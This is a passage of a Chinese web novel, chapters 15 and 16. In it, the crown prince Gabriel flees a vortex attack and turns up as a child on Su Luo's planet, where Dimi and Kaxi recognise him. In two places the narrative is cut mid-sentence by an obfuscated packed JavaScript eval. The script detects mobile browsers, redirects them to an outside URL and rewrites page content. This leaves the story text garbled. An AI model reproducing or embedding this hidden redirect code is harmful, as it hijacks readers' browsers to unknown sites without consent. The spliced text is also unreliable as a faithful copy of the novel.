这是其一，另一个原因，则是苏落想过去开地图。 等苏落略作休息，拿上装蚰蜒的盒子准备放归的时候，迪米悄悄过来，小声问苏落累不累，太累的话，明天再去也一样。 苏落笑了笑，说自己不累。 迪米垂着头，脚尖点地，磨磨唧唧、超级小声地说：“算了吧姐姐，随便在城市边找个地方打开盒子，丢掉它就行了，没必要跑那么远。” “不怕了？” “一只而已，只要不遇上一群会飞的，我才不怕。”迪米抬头挺胸。 苏落心里一片柔软。她推着迪米出门，笑着说：“我想去找交通工具，顺路的事。” “哎？”迪米惊讶地抬眸，神思不属。 “等找到了，我带你们四处转转。” 苏落想，无目的地的自由行应该就是这样的。 “到时候不要嫌弃这嫌弃那的哦。”苏落幽幽补充道。 “哪有。”迪米回过神，神色遮掩，“我才没有……” “真没有嫌弃吗？” “没有啦！”迪米小声含混过两个字，“反正……不会的啦！” 以后，多么充满希望的两个字。 15. 第 15 章 骨节分明的手指在光屏上操作，很快，两份档案被调出来—— 《对第七集团军莱弗·法卡斯少将失踪一事的调查报告》、《对德米特里·里奇失踪一事的影响评估》。 修长的指尖在光屏上敲了敲，转而抵在其主人的太阳穴上。鬓角的金色碎发已被全部梳到脑后，保证不会带来多余的干扰。 “殿下，您上一次入睡是在二十一小时前。”贴身侍从站在房间一角，垂着头，轻声提醒房间的主人。 加布里埃尔·马里诺——诺瑟帝国第一继承人闻言只冷淡地竖起手掌。 “告诉研究院的人，既然有了充足的克莱因拘束器，噬能涡流的先期调查结果别拖了，一出来立刻发给我。” “是。”贴身侍从明白自己的提议被拒绝，准备去执行殿下的吩咐。 临走前，他轻手轻脚地将提神补充剂放到殿下手边。 加布里埃尔皱起眉毛，鎏金的瞳孔里不悦一闪而逝。 “请您保重身体。”贴身侍从弯下腰。 加布里埃尔扫了侍从一眼。 他明白母亲特意将这名侍从指给他的原因，不为其它，意在警告他身为诺瑟皇太子，需要重视自身健康和安危。 他拿起提神补充剂，光明正大地检测，而后一口服下。 “退下。” “是，殿下。” 看来母亲生气的程度不小，加布里埃尔明白，虽然母亲彻底把人给了他，但这样插手他身边人事的情况，还是几十年后的第一次。 加布里埃尔点开庞大的星际航路地图，他的飞船秘密地来到扎德莫斯航线二十光年外，不被普通航图标识的位置，距离半月前第七集团军舰船遇袭的地点只有两小时路程，距离后续飞速搭建起来的太空移动堡垒更是只需要再航行一小时。 太空移动堡垒隶属皇室和军部，意在研究被命名为“噬能涡流”的未知物，找出它的弱点，如何应对它，并寻找失踪的法卡斯少将。后来还添了一个待搜寻的人。 来自多所研究院的科研人员夜以继日，发现噬能涡流会在克莱因光束下失去活性，所以加布里埃尔才会以运送大批克莱因拘束器为由，在女皇陛下和公爵阁下的不赞同中，前往扎德莫斯航线附近。 加布里埃尔没有亲自登上太空移动堡垒，只派人送拘束器。 他清楚此行的确有些冒险，但他是储君，是未来的帝王，合该掌握更多。他也希望帮助母亲，表明皇室的态度，减小来自军部的压力。 太空移动堡垒上的管理者之一，隶属军部的人听闻加布里埃尔已经到附近后，特意通过通讯器和加布里埃尔寒暄，不该说的一个字不说，全程大力称赞他、感谢皇室的支持。 而由皇室派遣的管理者更是明里暗里赞扬殿下不登堡十分理智。 加布里埃尔哂笑，心想这名来自皇室的管理者是不是听到了什么风声，回去该和母亲聊聊人员清理的问题。 将注意力放回光屏，加布里埃尔再次浏览完两份报告，半晌，冷着脸坐在柔软厚实的人体工学椅上，垂眸沉思。 隐瞒法卡斯失踪的消息比较容易，如军部现在的说辞“外出执行机密任务”即可，但内部知情人士的抗议不可小觑，给军部和皇室带来的压力非同寻常。 隐瞒德米特里·里奇的失踪则需要花费大量人力，这还多亏他妹妹伊丽莎白·里奇配合，不然那些天天盯着德米特里行踪，以此卖消息为生的媒体机构早就吵上天了，民间舆论也会一片哗然。 不过就算真的暴露，反而比较好处理，因为伊丽莎白·里奇还在。 但伊丽莎白·里奇本人并不好对付，和德米特里·里奇感情深厚，如果没有更多的发现，失去希望的伊丽莎白·里奇可或将转移产业重心，这对诺瑟帝国十分不利。 兄妹感情深厚吗…… 加布里埃尔摒弃杂念，冷静分析各方利弊与索求，思考可行对策。 忽然，光屏闪了一下。 他立刻点开信件，是太空移动堡垒发来的研究小结。没看几行，另一则紧急通知挤进光屏中央。 【噬能涡流袭击太空移动堡垒，请皇太子殿下撤离！】 “殿下！”贴身侍从打开房间门，神色紧张但不见惊慌，身后站着侍卫长等人。 他们在等候加布里埃尔的命令。 “退。” 关键时刻，加布里埃尔很清楚自己的定位。 银白的飞船迅速 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15202530|165457||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起航，远离事发中心。 加布里埃尔点开后面几则太空堡垒中的人员发给他的情报，看到上面说克莱因拘束器起了作用，只是这次袭击的噬能涡流规模较大，还需一定时间处理。 只是起了作用么，加布里埃尔盯着情报看了一会儿，折回去看研究小结。 【……经多次实验和探讨，所有一级研究院一致通过，否决此前提出的“噬能涡流是一种宇宙自然现象”的猜测！事实上，有充足研究证据表明，噬能涡流具备部分生命特征，它以高质量精神力为食，是一种前所未见的智慧生物！】 加布里埃尔眼神一凛，立刻通知飞船控制中心：“全速前进，查看剩余克莱因拘束器，时刻准备启用！” 有智慧的生物，会暂时放弃难啃的骨头，转而攻击稍弱一筹、提前撤退的敌方吗？ 当看到突然显现、包围飞船的淡灰色气体时，这个问题已经有了答案。 ** “阿嚏！” 清晨，苏落刚起床，看到卡西时刚想说早上好，先打了个喷嚏。 迪米从卡西背后冒出来：“姐姐你不会累到感冒了吧？我就说昨天不该再出去的。” 卡西已然拿了杯热水过来。 苏落接过来，和卡西道谢，假装没看到迪米对卡西做鬼脸。 “身体感觉还行。”她揉了揉鼻子，若有所觉地抬眼望向某个方向。就在刚才，她莫名其妙地感觉有什么不受欢迎的东西掉下来了。 什么情况？ 不解地想了会儿，苏落拿出水箱，把里面还有的一半水暂时放到另一个容器里。 “我去溪边看看。” 望着苏落离开的背影，迪米摸着下巴嘟囔道：“咱们这位姐姐本事可大着呢。” 他用胳膊肘击卡西，“你说，等会儿我们是不是又有新‘同伴’了？” 卡西躲过挠痒痒似的攻击，冷淡地说：“等苏回来就知道了。” 几十分钟后，他们确实都知道了，苏落的确又带回了个小孩。 “你们好呀，我是加布。”金发金瞳，头顶绿色羽毛的男孩笑吟吟地问，“你们是谁啊？” 迪米：“……” 卡西：“……” 16. 第 16 章 迪米垂下眼，心里刷屏了一连串和谐字符。 #*！这发色瞳色，这名字简称，这张脸，不是诺瑟皇子加布里埃尔·马里诺吗！ 迪米发誓，他绝对没有认错人。皇子本人从很小的时候开始就被女皇带在身边，作为诺瑟皇室成员出席各种公开会面、会议、活动，全星际人几乎是看着加布里埃尔长大的。 更何况因为家庭因素，迪米背过帝国顶阶人员的资料，加布里埃尔·马里诺自然在其内。 加布里埃尔为什么也缩小成幼童，还来了这颗星球！？他也成为了受害者之一？不知身份但不容小觑的卡西，他，还有诺瑟皇子……这是怎么做到的？ 来星球前，他收到秘密消息，扎德莫斯附近的异动有诺瑟皇室和军部参与，不会和那边有关吧？难道他之所以遭殃，是因为位置选的不对？ 迪米竭力控制，避免泄露太多情绪，这时，他身旁的卡西若无其事地说：“我叫卡西。” “我叫迪米。” 迪米心里满是曲折复杂的情绪，说起来，他来了多久，就猜了多久卡西的身份，现在刚来的家伙根本不需要猜。 他面上放松下来，语气好奇：“你在哪里醒过来的？溪水边吗？” 加布拉着苏落的衣角说：“是啊，突然到了个新地方，还害怕了好一会儿，幸好苏姐姐找到了我。” “可是你衣服是干的，”迪米心想皇子的态度好像有点自然过头，“没掉进去吗？幸好幸好。” 加布仰头，冲苏落一笑：“对，幸好姐姐来得及时。” 苏落拎起加布，放在卡西和迪米中间，让他们别乱跑，转头拿了四把椅子。 “坐吧，想问什么，等我说完再问。” 苏落心累到想叹气。 因为那股莫名其妙的感觉，她莫名其妙地去了溪水边，在“刷新点”附近看到了男孩从天而降的一幕。 彼时加布还处在昏迷中，苏落连忙用精神力接住加布，所以加布的衣服干干净净。没想到的是，苏落刚抱住加布，他就醒了过来。 苏落想着回来后有卡西和迪米的例子在，能少费些口舌，于是告诉加布，一切等回来了再说。 现在回到熟悉的院子里，苏落客观地描述完之前的过程，还详细告知当前的情形。 “……具体的就这些了，想离开星球的话，自己努力，或者和他俩一起努力。”苏落故意把自己的椅子放在三个男孩对面。 加布扭头，看看左边白发红眸的卡西，再看看右边黑发蓝眼的迪米，最后凝视苏落，以一种非常自然、非常疑惑的神情问道：“为什么没有家人找过来的选项呢？” 加布知道自己的脸和名字的辨识度，没怎么费心遮掩，可面前的女性看上去一点都不认识她。 为什么？因为这里太落后，连星网都连不上？ 唔，不是没有那种可能，可是不认识他的话，为什么绑架他？ 虽然那个白头发的现在还不确定，但黑头发的肯定认得他。难道黑头发的没和成年人说吗？还是他们也是被绑架过来的？或者绑架者另有其人？ 加布暂时无法理清其中的逻辑，又察觉到四人里唯一的成年人似乎没有恶意，于是大胆地询问。 “我不见了，妈妈和爸爸一定很焦急，他们肯定会来找我。”加布的声音柔软而笃定，“等妈妈和爸爸找过来前，可以拜托苏姐姐你照顾我吗？” 他是妈妈唯一的孩子，是未来储君，无论他在哪里失踪，帝国会派出无数人搜寻信息。在这种举国之力的搜查强度下，肯定能找到线索，顺藤摸瓜，找到他应该不算难。 难的是如何在此期间保证自己的安全。 他哦了一声，“姐姐放心，我妈妈一定会支付丰厚的报酬，保证你以后能在主星住上大房子，工作也不用愁哦。” 如果此人不是绑架他的人，需要拉拢，也需要一定威慑。 迪米：“…………” 好窒息，几分钟前，他以为在这里见到加布是短时间内最不可思议的事，事实证明，一山还有一山高。 当他没想过外面的人寻过来的可能？当然想过！只说妹妹伊丽莎白，绝对在想尽办法调查他的位置。 而且身体出了点毛病，早一点和外界联络，就能早一点想修复身体的办法！ 当然，联络对象的嘴一定要严实，一定得是能相信的人。 所以外面有人在找他们的事，可以有技巧地和苏落说，甚至一定要说，但问题是，他们现在受限于身体，也顾忌导致现状的背后因素，一定程度上需要依靠苏落，必须要考虑苏落的想法和目的，考虑苏落的心情！ 苏落想住到外边想在外边工作？笑死了，根本看不出来，他觉得苏落日子过得挺自在的。 加布什么都没观察清楚，就开始利诱，开始彰显自己的权势？这么勇、这么敢？ 这是诺瑟的皇太子？迪米眼底闪过浓郁的怀疑。 卡西无声地吐出一口气，他认识加布里埃尔皇子，和皇子相比，加布的手段太稚嫩、心情太急躁，两者的行事作风并不相符。 但他认识的，是已经成年的加布里埃尔，如果加布的记忆出现问题，倒回幼年期了呢？ 卡西神情微冷，幕后之人不仅能影响他们的身体，还能影响他们的心智、记忆吗？ 面对加布的胡萝卜加小棒，苏落撑着下巴，不确定地想，如果是穿越之前的她，应该会动心？ 只需要照顾一段时间孩子，就能包住包工作，多好的事儿。 “如果你一定要坚持，付食宿费就好，其它的不用。”但现在的她，和这颗星球绑定，无法……额，应该不能长期住在星球外？ 苏落满不在乎的反应不在加布的预期内，他很轻地缩了下手指，接着镇定地向苏落伸手：“姐姐，我觉得身上有点不舒服，可以请你帮我洗个澡，换身衣服吗？” “……” 苏落撑着下巴的手一滑，怀疑自己听错了，“你说什么？” 从卡西到迪米，俩小孩从来没有让苏落帮忙洗过澡，非常省心的同时，也错误导致她认为这年纪的孩子能独立处理大部分日常。 加布给了苏落当头一棒，他表情乖巧到有些无辜：“我不会自己洗澡。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15206637|165457||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“你这么大了还……”苏落咽下后半句话，艰难思考自己该怎么做，“……你等等。” 想到洗漱间里只有淋浴，她决定翻一翻房间里的储物匣子，找找里面有没有大到能装下加布的盆。 只剩下三个男孩，加布表情镇定地问：“你们是怎么到这里的？” 迪米忍不住用奇异的眼神瞅了瞅加布，转而冲卡西挤眼睛。 你听到了吧？这小子居然肯牺牲这么大！我怀疑他大有所图！ 卡西无视迪米的挤眉弄眼，侧头看着加布，冷静地问：“哪里不舒服？” 加布看了卡西两眼，视线在卡西的耳朵和尾巴间走了几圈，才说道：“头顶有点不舒服，想洗头。” 迪米眉眼沉静下来，因为三人身高没差多少，他深长脖子确定了一下后，略感诧异地低声问：“你没发现？” 诺瑟皇太子水平这么次？ 加布敏锐地放低声音，压制心底的不安：“发现什么？” “发现你头上长……” 卡西用红果堵住迪米的嘴。 “少说两句。” 眼看苏落提着个巨大的盆从房间里出来，迪米悻悻闭上嘴。 “我会教你怎么使用洗漱间里的工具，也会帮你在盆里放好水，”苏落蹲在加布面前，神情严肃，“但是你需要学着自己洗澡。需要换水的时候，你在帘子后面躲好，再喊我，知道吗？” 加布的神情里带着细微的忐忑和不解，但没再继续要求。 苏落停了两秒，认真地和加布解释：“男孩出门在外，也要好好保护自己。不可以随便让外人看到自己的身体，有些身体部位更不能让外人触碰，知道吗？” 卡西：“……” 迪米：“…………” 他用力掐手背，不行，他得控制自己，别真的笑出来。 加布点点头，这个道理他明白，可是现在，身边这两个和他一样大，除了苏落，没人可以帮他洗澡啊。 他已经不舒服到愿意让陌生人帮他洗澡了。 加布认为自己已经做出了退让，但他看见苏落表情坚定，意识到没有转圜的余地，恹恹地点头。 卡西拿过大盆，主动说：“我在门外等着吧。” 苏落暗暗赞叹还是卡西靠谱，然后温和道：“行，我教他怎么用工具，你稍微在门外坐着休息会儿。” 苏落领着加布进了洗漱间，迪米确定两人没关注这边，立刻堵在卡西面前，用模糊不定的语气问：“我是百闻不如一见，你呢？你之前就认识加布里埃尔·马里诺吧。” 最后几个字音量低到听不清，但即使如此，卡西也清晰明白迪米的潜台词。 “他还是个孩子。” 卡西的话很轻，落在迪米的耳边却重若千钧。 “……你确定？”迪米脸色难看。 “一半一半，你可以自己想办法确定。” 迪米在原地站了好一会儿，突然用手揉脸，摆出灿烂的笑容，大喊着跑进洗漱间。 “姐姐，等会儿加布穿谁的衣服？我之前还有好几件没穿过，要不用我的？”